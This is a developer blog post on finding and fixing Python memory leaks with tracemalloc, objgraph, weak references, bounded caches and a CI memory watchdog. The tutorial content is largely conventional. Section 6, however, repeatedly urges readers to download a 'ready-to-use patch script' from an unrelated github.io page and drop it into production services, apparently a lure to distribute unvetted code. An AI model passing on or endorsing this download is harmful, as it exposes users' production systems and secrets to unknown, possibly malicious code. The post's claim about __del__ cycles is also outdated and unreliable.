Fixing Python Memory Leaks in Production
Introduction
Memory leaks in long‑running Python services can cause out‑of‑memory (OOM) crashes, degraded performance, and costly downtime. In this guide we walk through practical diagnostics, proven fixes, and automation tips that you can apply directly in production.
1. What is a Python Memory Leak?
A memory leak occurs when objects that are no longer needed remain referenced, preventing the garbage collector from reclaiming their memory. Common sources include:
-
Reference cycles involving objects with
__del__methods. -
Global caches (e.g.,
functools.lru_cachewithout a size limit). - Third‑party C extensions that allocate memory outside of Python's heap.
- Unclosed resources such as file handles or database cursors.
2. Quick Diagnosis with Built‑in Tools
2.1 tracemalloc
import tracemalloc
tracemalloc.start()
# ... your application code ...
snapshot = tracemalloc.take_snapshot()
top_stats = snapshot.statistics('lineno')
for stat in top_stats[:10]:
print(stat)
tracemalloc shows where the most memory is allocated and helps spot suspicious growth patterns.
2.2 objgraph
pip install objgraph
import objgraph, gc
def dump_graph(stage):
gc.collect()
objgraph.show_most_common_types(limit=20)
objgraph.show_backrefs([obj for obj in gc.get_objects() if isinstance(obj, MyLeakyClass)], filename=f'leak_{stage}.png')
Use objgraph to visualise reference chains that keep objects alive.
3. Step‑by‑Step Troubleshooting Workflow
-
Reproduce the leak in a controlled environment (e.g., a staging replica) while monitoring RSS with
psutilortop. -
Capture a baseline snapshot with
tracemallocbefore the workload starts. - Run the workload for a period that typically triggers the leak.
- Take a second snapshot and compare the two to identify the growing allocation sources.
-
Inspect reference cycles using
gc.get_objects()andobjgraph. - Patch the code (break cycles, limit caches, close resources).
- Validate the fix by rerunning the workload and confirming stable memory usage.
4. Common Fixes
4.1 Break Reference Cycles
class Node:
def __init__(self, value):
self.value = value
self.parent = None
self.children = []
def add_child(self, child):
child.parent = self # creates a cycle
self.children.append(child)
Replace the strong reference with a weak reference:
import weakref
class Node:
def __init__(self, value):
self.value = value
self.parent = None
self.children = []
def add_child(self, child):
child.parent = weakref.ref(self)
self.children.append(child)
4.2 Limit LRU Caches
from functools import lru_cache
@lru_cache(maxsize=1024) # set a reasonable bound
def expensive_lookup(key):
...
4.3 Close External Resources
with open('data.csv') as f:
for line in f:
process(line)
# file is automatically closed
Avoid keeping file or DB connections open longer than needed.
5. Automating Detection in CI/CD
You can embed a lightweight memory‑watchdog that aborts a test run if RSS grows beyond a threshold.
# .github/workflows/memory-leak.yml
name: Memory Leak Check
on: [push, pull_request]
jobs:
leak-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install deps
run: pip install -r requirements.txt
- name: Run leak watchdog
env:
MEMORY_LIMIT_MB: 500
run: |
python - <<'PY'
import subprocess, time, psutil, os
proc = subprocess.Popen(['python', 'my_service.py'])
try:
while proc.poll() is None:
mem = psutil.Process(proc.pid).memory_info().rss / (1024*1024)
if mem > int(os.getenv('MEMORY_LIMIT_MB')):
proc.kill()
raise SystemExit('Memory limit exceeded')
time.sleep(5)
finally:
proc.wait()
PY
If the service exceeds the defined limit, the workflow fails, alerting the team before code reaches production.
6. Ready‑to‑Use Patch Script
We have packaged the above diagnostics into a single script that you can drop into any Python service. Download the pre‑configured script here → https://gaba-101010.github.io/GG/
Alternatively, you can Get the complete patch tool from the same URL or Access the full repository fix for deeper integration.
Conclusion
Memory leaks are often preventable with disciplined resource handling and regular profiling. By integrating tracemalloc, objgraph, and automated watchdogs into your development pipeline, you can catch leaks early and keep production services stable.
Happy debugging!
Top comments (0)